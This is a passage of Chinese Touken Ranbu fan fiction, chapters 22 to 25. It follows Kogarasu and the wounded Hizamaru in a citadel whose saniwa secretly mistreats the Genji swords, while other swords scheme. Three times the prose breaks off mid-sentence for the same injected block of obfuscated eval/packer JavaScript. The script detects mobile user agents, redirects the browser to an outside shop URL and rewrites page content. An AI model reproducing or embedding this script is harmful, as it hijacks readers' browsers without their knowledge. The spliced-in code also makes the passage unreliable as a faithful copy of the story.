小乌坐起身缓了会儿才意识到自己身上盖着的被子,动作微顿之后才向一旁看过去,就在他的身边,膝丸侧过身睡在附近。 想起之前膝丸对自己动手的动作,小乌缓缓皱起眉,没想到竟然就这样将自己给打晕了,虽然晕过去之后就不会太过痛苦了,但是果然很奇怪对吧,他的眼神逐渐变得复杂起来,为什么在那个时候的第一反应竟然是打晕自己? 向着四周看过去,小乌看到了摆在一旁刀架上的太刀,眸子微动,随即缓缓起身就朝着那振太刀的位置走过去,就在手指即将要触碰到膝丸本体的时候,突然的声音在身后出现,“你在干什么?” 小乌的手在太刀上方停住,此刻在他的身后,膝丸那双看起来无比清醒着的眼睛直勾勾地盯着小乌,小乌的手指不自觉地往手心里缩了缩,“你,您没事吧?” 他转过身和膝丸对视着,“膝丸……大人,我只是想看一下您的伤势。” 膝丸的目光下移落在了他的手上,“没什么好看的,休息吧。” 行,被拒绝了。 小乌有些遗憾的再次看了一眼那振太刀,最后只能道,“……是。” 收回手,重新回到原来的位置上躺下,这一次因为膝丸就在自己身边的缘故让小乌感到不是一般的不自在,又或许是刚刚那已经算是睡过了,以至于他现在始终睁着眼睛始终没办法入睡。 “你现在感觉怎么样?”膝丸再次开口问道。 “……我没事,”小乌觉得自己这么说的话可能有些敷衍,又加上了一句,“就连一开始的伤势也都被恢复了。” 一开始的伤势? 膝丸相当冷淡的又应了一声,“嗯。” “……” 膝丸没再说话,小乌就这样睁着眼睛看向天花板,抬起手时不时地翻转着手心和手背,眨了眨眼,他听到了一旁放松下来的呼吸声,又过了一小段时间之后,才缓缓翻过身面向他。 膝丸,现在好像真的睡着了。 小乌对膝丸的感官有些复杂,虽然他们之间并没有什么真正的交集,但是……他摇摇头,髭切大人现在又没在这个本丸,思考更多的对他来说近乎毫无意义。 这个本丸的审神者究竟是什么情况? 小乌皱起眉,到底是为什么会讨厌膝丸? ——完全想不通。 * 小乌整夜未眠,翻来覆去的根本睡不着,他就这样时不时翻个身的就盯着膝丸睡觉,膝丸的睡眠质量好像也不是很好,是因为身上的伤没办法轻松入睡? 就这样一直,一直等到外面有亮光照进了室内,他才看向了别处。 一阵极轻的敲门声突然响起,小乌立马坐起身,他看了一眼依旧紧紧蹙着眉但是并未被吵醒的膝丸,立马爬起来就往门口赶过去。 虽然睡眠质量不好,但要是能多休息会儿,应该是对身体有好处的吧。 一打开门就看到了一位黑发少年,如同乌鸦童子一样的相貌让小乌怔了怔,但是没等他开口询问什么,就听见对面先一步出声。 “你就是小乌了吧,哈哈,好久不见了。” 好久不见了?以前的熟人吗?小乌看着眼前的少年,从为数不多的记忆里扒出可能的名字,“你,您是……小乌丸大人吗?” “正是为父,”小乌看了一眼部屋里面,笑道,“是为父吵醒你了吗?” “不,并没有,”小乌摇头,说着他还让开了门口,“我很早就醒了。” “源氏的部屋我就不进了,”小乌丸抬头看着就小乌那双金眸中的一片清醒,并没有惊醒后的那副昏沉懵懂的模样,“是因为刚刚显现拥有人身还不适应吗?” “啊,”小乌张了张嘴,然后点头默认了这一点,“嗯。” “既然醒了,为父带你介绍一下本丸吧,昨天晚上才来应该还没有怎么了解,膝丸现在那个样子也没办法引导你,你以后要在这里生活,总要有所认识。” 这句话倒是正确的。 不管那个审神者究竟是什么情况,既然现在他还在,总不能连自己日后要待的地方都不了解,他关上了部屋门,双眸认真道,“那就有劳您了!小乌丸大人。” “引导新来的后辈,也是为父的职责。”他走在前面,小乌落后半步跟在他身边,小乌丸像是只是随口一提一样,“如果和膝丸一起住着不适应,也可以和为父和拔丸一起住,虽然你是源氏打造的刀,但在我平家待的时间毕竟更长。” 不过在偏头看到小乌脸上那迷茫且愣住的神情,他笑了一声,随即道,“这只是为父的一个提议,不过,如果你遇到什么事情,可以与为父说一说。” 小乌轻轻地点了点头,“嗯,我明白的。” “源氏的刀相当麻烦呢。”小乌丸突然说了这么一句。 “……” 小乌对此没有接话,平家和源氏的矛盾与纷争,这种事情都是些事实。 * “本丸现在好安静。” “这个时间还很早,许多刀剑都还没有起来。” 话刚说完,小乌就看见了坐在一起的一蓝一绿两道身影,“那边两位是……” “天下五剑中最美的名剑,三日月宗近,这位是古备前的莺丸。”小乌丸就这样带着小乌走了过去,一一给他介绍道。 小乌对两人点了点头,便自我介绍道,“我是髭切大人的仿刀,小乌。” “髭切吗?”正在等着茶泡好的莺丸听到这个名字有些意外地看向他,“我记得这个名字,那是主人一直想锻到却没办法锻到的刀呢。” 三日月宗近点点头,“哈哈哈,嗯,我也记得,好像是有这么一回事。” 小乌跟着小乌丸在一旁坐下,听到这惊讶地瞪大眼睛,“很想要髭切大人?” 小乌对此持怀疑态度,他看向小乌丸,就看见小乌丸对他点了点头,小乌的眼里顿时就浮上了迷惑,为什么?既然很想要髭切大人,为什么膝丸会说她讨厌他? “是啊,主人相当看重你们源氏哦。” 三日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223441|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月宗近接道,似乎是在为着审神者的行为做出解释,“不过这可能会造成一些问题,看重,有时候也意味着主人好像会对你们相当严厉呢。” “严厉吗?”小乌皱眉思考着,如果只是严厉,那倒是没有什么,但膝丸对他说的话还依旧在耳边徘徊着,“可是,膝丸他……” 三日月宗近道,“小乌殿,有时候耳朵听到的并不一定就是真实的。” 耳朵听到的不一定是真实的? 他想说什么?想说膝丸在骗他?有这个必要吗?小乌抬眸看向三日月宗近,眼里是未加掩饰的对他的怀疑。 小乌丸在此刻开口,“小乌,去厨房看看怎么样?膝丸休养的时候一向都不愿意见人,你现在和他住一起,就顺便帮他准备早餐吧,” “这样吗?”小乌起身,鞠了一躬,“那我先去厨房看看,今早劳烦您了。” “还不会隐藏呢。”三日月宗近道。 小乌丸看着小乌就这样干脆离开的背影,“那孩子虽然是太刀,但他的经历可比不少刀剑都要少,还是个真正的孩子呢。” “主人的运气啊,明明对限锻根本不感兴趣,却偏偏就这样锻到了,不过小乌丸殿倒是不需要那么担心了,”三日月宗近看向锻刀室的位置,“今早,小乌殿的限锻已经结束了,在下一次限锻之前,本丸的小乌本刀只会有他一振。” “就算是主人真的厌烦了,他也只能是碎在战场上,”莺丸嗅了嗅茶香,神色平静道,“这对于刀剑来说也算是个不错的结局,我可是听说那孩子一显现就想着跳刀解池,本体就是这样被主人借机给收走了,这孩子真是自己往坑里跳啊。” “能做的也没多少,”小乌丸收回了目光,“为父能做的只有尽量护持,将那孩子纳入我平家的范畴,和源氏割席,他就可以暂时平静地在本丸生存下去,如果源氏刀能够看得清楚形势,就该知道自己应该怎么做。” 因为小乌的出现根本改变不了什么任何现状,膝丸将他困住也没有什么意义,虽然小乌是那样的身份,但以膝丸的性格应该不会计较那些。 “真想破局,甚至结束,只能等到主人心心念念的那位到来。” 三日月宗近看着那道身影,“不过现在的问题是,即使膝丸殿想,这件事情也不是他一个人可以掌控的,还得另一方也一样才合适,小乌殿的性格,小乌丸殿已经摸清楚了吗?” “单是那样单薄的逸闻,我们也看不出来什么,但是刚刚我对他说的话,之后他对我的态度令我有些意外,他对膝丸的态度有些不妙啊。” 小乌丸没露出其他的表情,“如果真是那样,只能说,这就是他的命运。” 新来的小乌因为那样的身份,但凡只是能保住自己的平静就已经很困难了,源氏刀想要改变现在的处境,只能等到那位到来,三日月宗近想到了自家那位因为膝丸态度而闷闷不乐的兄长,不由得在心里轻叹一口气。 不论膝丸现在的处境,可在本丸其他刀剑眼里,主人是个优秀的审神者。 至于他们……终究不过是担心本丸的安稳,至今还未显现的髭切对主人的影响太大了,主人的精神不稳,很容易会拖得整个本丸走向破碎的深渊。 23.第 23 章 厨房里有好几振刀剑在忙,小乌一振刀都不认识,不过得知了他是来询问早餐的事情,也十分热情地帮他准备好了,并且还问了他关于膝丸伤势的情况。 小乌看着他们眼里真诚的关心,随即摇了摇头,“伤势的具体情况我也不太清楚,膝丸大人不允许我看他的伤势,但是看他的样子……似乎不是很好。” “这样吗?”御手杵抓了抓头发,看起来也是为这件事情相当头疼,“膝丸的性格就是太倔了,明明主人都说不追究了。” 陡然间get了重点,关于膝丸为什么受伤的事情,小乌的目光变得认真起来,“为什么这么说?请问,膝丸大人难道真的是做了什么错事吗?” “也不算是什么错事,只是膝丸在出阵的时候有些……嗯,”御手杵揪着眉整理语言,“就是有些着急,然后他就把自己搞成那个样子了。” “着急?”出阵的时候着急了?是没有做出正确的判断吗?如果是这样的话那的确是膝丸的问题,就算是被惩罚了也不该对审神者心生怨怼。 “不过主人已经说过他了,是膝丸自己一定说他有错,主人也都被膝丸他给气到了,你要是能劝他的话,就让他去找主人认个错,这样他的伤也能尽快恢复。” 御手杵继续道,“主人虽然看起来有些凶,但是人并不坏,不过膝丸现在的情况也不能单纯怪他,可能是因为她过于看重膝丸,这样给膝丸带来压力了吧。” 又是这种说法吗?想到小乌丸大人肯定了这个本丸的审神者很期待髭切大人的事情,看重膝丸也不是什么不能理解的事情,小乌点头,“我明白了。” “我会的。” 这样类推一下,审神者厌恶自己的事情也不是不能理解,或许? 只是按照大家的说法,现在膝丸的情况好像全部变成了他自己的问题,小乌一边端着餐盘往回走,一边沉默地想着自己刚刚听到的话。 听起来好像没什么问题,但是……膝丸对审神者的态度有着很明显的问题,那可不是他们口中说的那种感觉。 要说自己更信任谁?摆放着髭切大人的弟弟和其他人的天平最后倒在了一边,尽管他对待膝丸的情感很是复杂,但那可是髭切大人的弟弟。 髭切大人所看重的弟弟,自然是值得信任的。 和髭切大人一起的源氏重宝,是不会败坏髭切大人声名的吧。 脑海里不由自主的浮现出早晨那振刀对自己说的那句话,或许同样适用于此时此刻。 【有时候耳朵听到的不一定就是真实】 小乌在部屋门口停下脚步,他无法停止思考,如果是髭切大人在,如果是髭切大人看到了他最亲爱的弟弟是现在这副样子,又听到了那些话,髭切大人会怎么做? 小乌:“……” 他拧着眉在门口停顿了会儿,然后才拉开了门。 不论究竟是什么,髭切大人都一定不愿意看到自己最亲密的弟弟受到伤害吧,他只要铭记这点就好,更多的,那些事情都无所谓。 * 跪坐在桌边等待着膝丸洗漱回来,然后在他对面坐下就吃起了早餐,小乌的表现一直都很沉默,膝丸对他的态度并不和善,他也没有想要寻找什么聊天话题的意思。 只有目光在膝丸身上露出来的绷带上顿住,看着他那张在昨天深夜里并未看清楚的脸色,嗯,并不是很好的样子,而且眉毛一直像是不由自主的揪在一起,像是在忍耐着什么一样。 膝丸似乎被盯得有些不耐烦,他放下碗筷看向小乌,“为什么一直这么看着我?我现在的样子没什么也没什么好看的吧。” “我早上出去听到了大家对您的评价,所以有些事情想问,”小乌没有隐瞒自己的所思所想,他正色道,再一次向膝丸本人确认这个问题的答案,“审神者……她真的很讨厌您吗?” 膝丸眼底闪过一抹暗色,随即他看着眼前那张认真的脸,“这种问题不重要吧,审神者对我怎么样?讨厌我还是不讨厌我,这和你都没有关系,你只要安心做好该做的事情就够了。” 小乌:“……” 被这么说,小乌也很不满,如果不是因为你是髭切大人的弟弟,他才不会管那么多。 膝丸不想解释,小乌也没说话,只是后来膝丸却主动道,“你今早一个人出去的?” 嗯?小乌摇头,“不是,是小乌丸大人来找我,说您不方便就带我参观了这个本丸。” “小乌丸……大人?”膝丸在嘴边轻声念着这个词,虽然用着敬称却毫无尊敬的意思,小乌听出来了,但这种事情他不会去制止什么,源平两家的关系就是这样。 但是,他听见了膝丸对他嘲讽的一声,“你对平家的刀还甚是恭敬啊,”没等小乌从愣怔中反应过来,膝丸却站起身道,“既然你对平家有所留恋,那就直接搬去和他们一起住吧。” 即使是前面那句话的意思再有什么怀疑,后面这个要赶他走的意思可以说是是不能更加清晰了,小乌猛地抬起头,他不可思议地睁大眼睛,“你,您在说什么?” “什么意思?”膝丸重复着,他将话给掰开了说给小乌听,“我说的话还不够清楚吗?我们之间的渊源,我也不想和你住在一起,反正你还和平家有着牵连,直接搬过去好了。” “膝丸……大人?”来自膝丸的恶意,小乌感受到了,或许是因为早就做好了准备,他没有露出过分的情绪,他低头道,“小乌丸大人是小乌丸大人,可我毕竟是源氏出身的刀。” “就这么想和我住在一起吗?” “因为兄长?” 阴影投下,小乌感受到了那陡然间拉近就在身前的压迫感,他抬起手,正对上膝丸弯腰靠近的茶金色眸子,那双某种此刻的不耐烦已经多到快要淹没了他在里面的投影。 “现在还不忘记那种事情吗?”源氏重宝的气势在这一刻没有任何隐藏的泄露出来,小乌下意识的往后退,却被膝丸的双手按住了肩膀无法移动,力气也一样大的吓人。 气势上输了,在某种程度上并不是那么的意外,毕竟是髭切大人的弟弟,怎么可能会输给自己,可是小乌还是不由自主地咬起了唇,果然,还是会不甘心。 他听着膝丸的声音,“兄长倘若显现,必定是和我住在一起,你想留在这间部屋里就是为了在之后使出浑身解数来讨得兄长欢心,企图替代我在兄长身边的位置吧。” “和兄长最亲密的刀剑只有我,没有谁可以替代我在兄长身边的位置,”膝丸站起身,居高临下的看着小乌,“上一次是兄长砍了你,这一次我也不介意多一个和兄长一样的名字。” “……” “……” 就这样被拖着送出了部屋,随即,部屋门在他面前被重重关上,也掩盖住了膝丸看着他的那双可怕的眸子,小乌握紧身侧的拳头,然后就这样坐在部屋门口埋头又抱住了膝盖。 小乌没有反驳,因为在某种程度上,如果可以的话,他自然希望自己可以和髭切大人之间的关系变得更加亲密一些,至于更深的……他甚至就连自己都不清楚他最真实的想法是什么。 是他隐藏在心底的阴暗心思被膝丸看到了吗? 可是,明明昨晚还不是这样的。 * 膝丸在将小乌拖出部屋之后,就立刻关上了部屋门,尽量脚步正常的往里走了好些距离,才就那样直接瘫坐了下来,膝丸微微喘着气,紧紧蹙起的眉昭示着他此刻正承受着的痛苦。 是小乌丸吗? 如果平家愿意庇护的话,自是最好不过。 那个女人对兄长的执念已经到了一种疯魔的地步了,她嫉妒自己和兄长之间的亲密关系,虽然膝丸没有去见过其他的兄长和自己,但是从那个女人神经质的表现也能看出来一点。 他在痛苦中不由自主地露出了些许并不好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328364|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑容,兄长和自己一定是非常非常亲密的兄弟,他们的关系一定非常非常的好,否则那个女人不可能是那样一副接受不了的态度。 哈哈哈——不管发生了什么,每一次的痛苦都是兄长和他之间亲密关系的证明,这大概就是现在对膝丸最好的慰藉。 只要忍耐,只要忍耐就好,无论发生什么,他都要忍耐下去,并且还要努力活着,如果兄长因为意外来到了这个本丸,可以拥有审神者重视的兄长绝对不可以被他给拖累了。 至于小乌……不论他和自己还有兄长的关系会是什么样,但那天然身为兄长仿刀的身份,也不知道在那个人类眼里究竟会变成什么样子?他回想起那时人类说起时的表情,是反感吧。 而且和自己住在一起……实在是太不适合了。 相反,如果他在平家的话,想到逸话中小乌的碎刀,或许会因为有些用处的吧。 比如,能有些用处什么的。 只要他日后不要打兄长的主意,安心下来,或许就可以拥有尽量平静的日常。 * “你,还好吗?”小乌抬起头,就看见站在自己面前那个小孩子犹豫着指了指部屋门,“我来找薄绿,他方便吗?” 薄绿,哦,是膝丸的另一个名字,来找膝丸吗?此刻的小乌也意识到自己现在这副样子看起来实在是有些过于软弱,他站起身摇头道,“我不知道,他把我赶出来了。” “诶?”今剑瞪大眼睛,“你是新来的刀剑男士吧,我记得你是……” “薄绿他怎么可以这么做?”今剑低头道,“最近越来越过分,明明之前不是这样的。” “过分吗?”小乌看着眼前眸中露出挣扎的短刀,平静道,“或许是因为没有碰到我,身为他的代刀,代替了他在髭切大人身边的位置,哪怕时间很短,也不妨碍他对我的不喜。” “才不会!”今剑抬起头反驳道,“薄绿明明人很好的,可是……我总觉得哪里不对,但我又找不到哪里不对,总之,他不该是这种无缘无故就做什么的性格。” 总觉得哪里奇怪,却又完全没有办法…… 有些事情,是不能被怀疑的,可是,要是想能说得通。 “今剑兄长,要去当番了。” 三日月宗近出现在不远处唤着,然后再看向小乌,“小乌殿,主人找你。” * 小乌来到天守阁,有些陌生的走了进去,迎面就看见了那个女人,只见对方只是抬头看了一眼他,随即便指了指一旁刀架上的太刀,“你的本体,自己拿回去吧。” 刚说完就又听见女人的声音再次响起,她的声音无比寒冷,“下一次再有昨天那样的事情发生,就不会只是昨晚那样简单的惩戒了。” “什么?”小乌没有理解她生气的原因在哪?他看着女人皱起眉,“既然来了这个本丸就是我的刀剑,没有我的命令,谁给你擅自使用刀解池的权利?” 昨晚,竟然是这个原因吗? 小乌抿唇,然后低头道,“是,抱歉,我知道了。” 拿着本体离开天守阁,一时间竟然不知道自己该去什么地方,膝丸说的话还就在耳边,可偏偏就是这样……小乌低头抽出本体,然后想明白什么后就往回走。 部屋的门被猛地推开,膝丸被这样大的动静惊了一下,随后他就看见小乌拿着本体走了进来,他蹙眉,“你又回来干什么?” 小乌才不管他那张脸上的糟糕脸色,他弯下腰,就这样盯着他,“是,你说的不错,我就是有这样的想法又怎么样?凭什么我不可以?” “我也是源氏的刀剑,这点是既定的事实,不需要你来承认,代替你陪在髭切大人身边,即使是被髭切大人砍去一角又能如何?那段时间和髭切大人单独待在一起的就是我!” “膝丸,你给我听好了!” “你不是髭切大人,你也没有资格命令我。” 24.第 24 章 ——静。 甚至就连对面的呼吸声都未曾听见,屏息以待,在等待自己开口。 膝丸抬起眼帘就这样注视着眼前在他面前突然硬气起来的刀剑,口口声声的每一句里都有着兄长的影子。 所以,这是憧憬着兄长的刀吗? 也是,他毕竟是兄长的仿刀,毕竟那是兄长,膝丸想着也不觉得意外。 “……” “只有兄长才可以吗?” 语气平静,甚至连任何咄咄逼人的感觉都没有。 可是,即使小乌是处在被膝丸仰视着的姿势,他也一样感到了难言的压力。 “是!” 小乌肯定地回应道,“只有髭切大人。” 膝丸其实并不是很想见到小乌于是直接就伸手推了一把他,小乌没有硬来,他此时十分顺从地向后退了一步然后在一边站好,也没有再说话。 室内再次安静下来,膝丸暂时闭上眼睛,可是眼前这家伙的存在感实在是有些太高了,于是等膝丸再睁开眼睛观察他时才注意到了他腰侧配着的本体。 膝丸皱眉道,“你的本体拿回来了?” 本体?小乌顺着膝丸的目光看向自己腰侧的太刀,随即道,“是。” 回应之后他给膝丸解释自己去拿本体时那个女人说的话,“她没说什么,也没有对我做什么,只说昨晚那是她对我简单的惩戒,说我是她的刀剑没有使用刀解池的自由。” 嗯……嗯? 膝丸:“???” 等等?他刚刚听到了什么? “使用刀解池?你为什么要跳刀解池?” “因为她不喜欢我,”小乌冷静道,“我第一眼看到她时就看到了她对我的厌恶,我本来就不是什么一定会被需要的刀剑,被不需要,被厌弃,再正常不过。” “既然她是这么觉得的,我也应该识趣一点,不是吗?” 膝丸:“……” 相当意外的答案,膝丸没有想到他竟然是这样的想法,“你……” “反正我不会搬出去!”不知道膝丸想说什么,小乌立马堵住了他不想听到的话。 现在还满心想着这种事情,膝丸收回了自己原本想说的话,“啧,你怎么这么麻烦?” 见膝丸还是这样的一副态度,小乌立马道,“她也没说让我搬出去。” 她,指代着究竟是谁显而易见,整个本丸除了刀剑男士只有她一个女性在。 不管怎么说,在这个本丸,那个女人的命令在某种程度上就是绝对的,膝丸不得不承认这一点,身为刀剑只有服从,再加上小乌他一副拒不配合的态度…… “你早上出去了吧。” 膝丸再次道,“应该有刀剑关心过我,不然你也不会问出那样的问题。” “是。” “那你就不怀疑是我的问题?” 小乌低头看了一眼自己的本体,道,“你是髭切大人的弟弟。” 膝丸语气凌厉地反问道,“因为我是兄长的弟弟?仅此而已?” “不错,仅此而已。” 小乌回应他,并且再次重复道,“因为你是髭切大人的弟弟!只是这个原因。” 膝丸的心绪复杂起来。 信任着的、认真的眼神,膝丸闭了闭眼, 末了,他再次睁开眼,“我要说,他们都只是被蒙在鼓里,看到的只是那个人类愿意让他们看到的呢?” “是这样吗?” 小乌点头,“我明白了。” 没有其他的言语,只是一句明白了。 许多话被堵在喉咙口,一时间膝丸竟然不知道自己究竟都该继续再说些什么了。 “不管你对我是什么看法,既然你对兄长如此尊重,那就记好你说过的话,倘若日后兄长来到这个本丸,不允许做任何背弃、伤害兄长的事情,否则……” “没有否则!”小乌打断道,他的语气在这种时候也不怎么好了,“膝丸!你不要用这种方式来侮辱我!我绝对不会那么做!” 见他这副快要气炸了的态度,膝丸才淡定地收回了目光,然后不再看他。 小乌没有得到回应,又想到对方身上的伤气得只能在一旁咬牙切齿。 可恶!不和他计较,不和伤者计较,给他等着,等到髭切大人来了,他一定要向髭切大人证明自己比他弟弟要好用! 但是,现在果然还是好气啊—— 小乌一屁股在地上坐下,在一旁一个人待着就是生闷气。 只是没一会儿,他就听到膝丸在压抑着什么的声音响起,“你要是在部屋里没事就出去。” “我……” 小乌刚要说话,可他听到了膝丸声音的不对劲,他起身道,“膝丸?你没……” “出去!” 未说出口的关心被打断,小乌皱起眉,随即道,“……是。” 他又看了一眼一瓶摆放在刀架上的膝丸本体,又应了一声,“我知道了。” 关上门,小乌靠在门口陷入了沉思。 很奇怪不是吗? 就算是受伤,也不该伤成那样一副难以忍受的样子。 是还对膝丸额外做了什么?就像是对昨晚的自己那样,但他刚刚出来前还看过了,膝丸的本体还在部屋里,和自己昨晚那个样子不算一样吧。 没有在门口久待,小乌远离了部屋,只在远处注视着,他留下来不是给膝丸添麻烦的,如果真的是难以忍受的痛苦,既然不愿意让自己看到,自己也就不要出现在他面前让他难堪了。 像是被赶出来的可怜刀,只能在不远处注视着那间部屋,小乌这副“可怜兮兮”的样子引起了不少刀剑的注视和讨论,甚至是天守阁那边的审神者。 “小乌,终于找到你了。”一期一振拿着出阵令走近,小乌生人勿近的气场让他的弟弟们都不敢随便靠近,毕竟刀剑里有不少脾气奇怪的地方,这振刀说不定也是如此。 听到声音,小乌才分出一点注意力看向来人,是自己昨天见到过的刀剑,“你有什么事情吗?” “这是主殿给你的出阵命令。” “出阵?” 小乌疑惑。 “嗯,出阵,就是我们的敌人,和时间溯行军进行战斗,”一期一振道,“没想到昨晚刚来,今天就派你出阵,主殿看来也很看重小乌你啊。” 小乌:“……” 一早上听了太多遍膝丸被看重的话,小乌都已经觉得自己不太认识这个词了。 “是,我明白了。” 小乌接过命令,上面只有他一个名字,他点点头,“我不会让她失望的。” 既然有着可以提升自己的机会,这比一直待在本丸里要好,小乌扶住了腰侧的本体,握紧的手昭示着他的紧张。 这是他使用人身时的初战,不可以懈怠,不可以丢人! * 本丸里的其他闲下来的刀剑讨论起了小乌刚刚的表现,“新来的小乌刚刚是怎么了?难道是被膝丸从部屋里赶出来了?” “膝丸为什么要赶小乌出来?” “因为那样的逸话吧,毕竟,小乌和膝丸已经不是仿品的关系了,而是替代品的关系吧,被替代什么的不管怎么样都很难轻易接受吧,如果说真的不喜欢他也很正常。” “既然这样,主人为什么不让他们两个分开住?” “主人一定是希望他们两个可以好好相处!不管是什么身份,大家现在都是一个本丸的刀剑,关系太僵硬也不好吧。” “我早上还看见小乌给膝丸带早餐回去了,说话时还很敬重膝丸。” “我看见小乌被膝丸从部屋里拖出来,后面很伤心的坐在部屋门口,之后好像是主人看不过去将小乌喊过去了吧。” “欸?这样膝丸岂不是过分了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425964|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “对啊,小乌他都没做什么吧?他又不是自己故意要抢什么?” “那就是源氏刀的态度?你说的……小乌要怎么做?”红发太刀看向自己身旁,小乌丸摇摇头,“那孩子的情况你不是也看到了?就算是被那样对待也依旧紧紧注视着那间部屋。” “她对他到底是什么态度?”拔丸道。 小乌丸没有回复,只是道,“你说,本丸如今的言论风向是怎么样的?” “现在名为小乌的刀剑才刚刚到来,大家可以分得清楚时间,但要是再更加长一点的时间,源氏那位显现在本丸,听到本丸里是这般甚至更加过分的言论,你觉得他会怎么理解?” 这大概就是那位现在转变的想法,让膝丸在和小乌的相处中置于不利的地位,至于小乌,他对髭切应该是有着不一般的态度,那就让髭切为了弟弟亲手终结小乌。 这样,就算是以后会有其他的小乌出现,他在髭切心中的印象已定。 而审神者也可以因为自己被蒙蔽的经历以及对髭切的喜爱一起不喜小乌,也再正常不过。 可以不再出现或者是被髭切厌弃的小乌,以及为了兄长荣光懂得分寸和忍耐的膝丸,一个对于整个本丸其他刀剑而言十分优秀的主公,这对于这个本丸来说再好不过,一劳永逸。 多好啊—— 不是吗? “你看!她找源氏那家伙了。” 小乌丸收回目光,“大概是为了警告吧。” “等到髭切显现,应该就好了。” “源氏那家伙显现了,真的会好?” 拔丸想起之前审神者因为平家刀的身份对他露出来的厌恶,一开始他还不解,但后面听到小乌丸说审神者一开始也是这样对待他的,不过后面去了一趟万屋之后就没再管他了。 按照小乌丸的说法,或许是因为审神者看到了髭切本人对于平家刀的态度,所以才不再针对他们了吧。 “你想干什么?”小乌丸瞥了一眼周围,没有人在,才看向拔丸,“即使审神者做的事情暴露,本丸和平的表象被打破,你觉得有多少刀剑会站在源氏那边?” “即使是恶主,也会有家臣跟随效忠。” “到时候为了审神者,被清算的只会是审神者的对立面。” “秃童不喜欢她。”拔丸道。 小乌丸没说什么,只是应声,“嗯。” * 膝丸从部屋里出来,因为听到前院小乌消息的今剑趁着内番时间又偷溜出来查看情况,站在一眼可以看见膝丸的位置,紧紧盯着膝丸前往天守阁的背影。 高大是身影出现在今剑身后,他在今剑身边蹲下,按住了今剑的发顶,轻声道,“今剑,你最近到底怎么了?” “岩融,我……” 今剑抬起头想说什么,但他摇摇头又挣扎着将那些话给收了回去。 岩融叹气,他将今剑直接抱起,在其他刀剑的眼里将今剑强硬地按在怀里,“哈哈!抓到你了!今剑,这下子你不可以逃番了吧!走了,赶紧和我回去!” 他说着就这样将短刀带向后面的田地,然后一边走路一边低声对着怀里的短刀道,“你已经心神不宁有段时间了。” 薙刀的语气里充满着担忧,“我和三日月他们还有其他刀剑说你这样是因为最近总是做梦梦见了义经公的原因,可是你要是再这样下去,你的状态瞒不过其他刀剑。” 今剑在岩融的怀里点点头,但他还是道,“岩融,你觉不觉得薄绿他很奇怪?”没有听到回复,他又连忙道,“其他刀剑不清楚,我们应该知道的,他不应该是那样的刀吧!” 岩融只是道,“要怀疑主公吗?” “我不知道……所以,我不知道,明明主公大人对我们那么好,可,可是……” 岩融叹了口气,没说什么,只是将情绪有些失控的今剑更搂紧了一些。 25.第 25 章 日常出阵,在手入室恢复,然后再出阵。 对小乌来说,其实这种情况倒不算太差,身为刀剑,被使用去战斗总比被闲置要好。 膝丸在他初来时受的伤已经恢复了,也一样恢复了日常的出阵和其他的内番工作,还有就是偶尔会去一趟审神者那里,然后等到半夜才回来。 看起来并无大碍,小乌其实不止一次的偷偷检查过膝丸的本体,但他在本体上并没有看到任何的伤痕,那振刀的表面再正常不过。 膝丸在外对他的态度一如既往地冷漠,小乌为此也感到十分头疼,因为不止一道声音出现在他耳边,话语中种种都在说着膝丸的过分。 是在为自己打抱不平,可小乌也试图解释过,但并没有什么太大的用处。 而且,他总觉得事情变得更加奇怪了。 至于他和审神者,他和她之间没有过多的接触,小乌出阵至今,并未出现过重伤的局面,也没有到一定需要审神者出面才能治疗的地步。 更多的,只有在他提及髭切大人的时候,那道目光才会短暂的落在自己身上,然后又像什么都没有发生一样的收了回去,究竟是什么情绪他也没有太感觉出来。 不过,应该不是什么名为高兴的情绪吧。 膝丸是这么说的。 行吧,这点倒是早有心理准备,小乌也没有觉得有多惶恐和担忧。 比之自己,他更加担心的还是膝丸那时不时就好似犯病一般的情况。 不过除了自己以外,还是有其他刀剑来关心膝丸的,比如那个个子小小的叫今剑,还有那个个子高高的叫岩融,总是担忧地在膝丸附近徘徊,但又碍于什么只能从自己这里得到答案。 小乌对此自然是开心的,这样就越发意味着膝丸是更加值得信任的存在,即使是在这样的情况下也依旧有人信任着他。 嗯! 真不愧是髭切大人的弟弟! 至于这个本丸……小乌的心情沉寂下来,再多顾虑,也不是要让膝丸一直身处这般境地的理由,他们有自己想要的,他也一样。 不过是关系亲疏而已。 在这点上,大家都是一样的心思。 刚刚才从手入室里出来,迎面就碰上了三日月宗近,两人分别往一旁让开门,免得正好撞上,只是,“小乌殿,主人今天去了一趟万屋。” 擦肩而过——没有更多的话语,两人就好像仅仅只是打过招呼一样,没有更多的交流。 